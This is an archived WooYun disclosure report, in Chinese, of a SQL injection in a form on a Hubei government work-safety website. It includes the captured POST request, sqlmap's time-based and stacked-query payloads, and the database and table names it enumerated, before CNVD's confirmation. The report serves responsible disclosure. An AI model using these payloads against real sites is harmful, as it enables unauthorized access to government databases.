乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-07-24: 细节已通知厂商并且等待厂商处理中 2015-07-29: 厂商已经确认,细节仅向厂商公开 2015-08-08: 细节向核心白帽子及相关领域专家公开 2015-08-18: 细节向普通白帽子公开 2015-08-28: 细节向实习白帽子公开 2015-09-12: 细节向公众公开
本来没准备抓洞的,可以看见一个较古老的页面,瞬间信心来了,上啊
注入点:
http://www.hubeisafety.gov.cn/sample/up_board4.asp
填写表单,确认提交,然后抓包
POST /sample/up_board4_save.asp HTTP/1.1Host: www.hubeisafety.gov.cnProxy-Connection: keep-aliveContent-Length: 105Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://www.hubeisafety.gov.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: http://www.hubeisafety.gov.cn/sample/up_board4.aspAccept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Cookie: ASPSESSIONIDAAAAARCC=PDKIGJBAPCONBPMODACAAEKM; CNZZDATA5946266=cnzz_eid%3D1289493292-1437704821-http%253A%252F%252Fwww.baidu.com%252F%26ntime%3D1437704821Tablet_foundDate=2015-7-24&Tablet_Content=test&Tablet_Man=test&Tablet_Relation=test&image.x=60&image.y=17
丢入sqlmap跑去
---Place: POSTParameter: Tablet_Content Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: Tablet_foundDate=2015-7-24&Tablet_Content=test'; WAITFOR DELAY '0:0:5';--&Tablet_Man=test&Tablet_Relation=test&image.x=60&image.y=17 Vector: ; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]';-- Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: Tablet_foundDate=2015-7-24&Tablet_Content=test' WAITFOR DELAY '0:0:5'--&Tablet_Man=test&Tablet_Relation=test&image.x=60&image.y=17 Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'-----
有戏
available databases [10]:[*] [R\x7fportServer][*] ajj2[*] hbajj_web[*] ks_sd[*] master[*] moqel[*] msdb[*] qepprtSgrverTempDB[*] teqpdb[*] tzzyTK
进一步,跑hbajj_web
Database: hbajj_web[10 tables]+---------------+| dbo.[safezj!] || dbo.[专栏] || dbo.[栏目信息] || dbo.guide || dbo.indexswf || dbo.s_Admin || dbo.t_Article || dbo.t_Law || dbo.vodio || dbo.zhuanlan |+---------------+
不再深入
跑hbajj_web
你们处理
危害等级:中
漏洞Rank:10
确认时间:2015-07-29 09:39
CNVD确认并复现所述情况,已经转由CNCERT下发给湖北分中心,由其后续协调网站管理单位处置。
暂无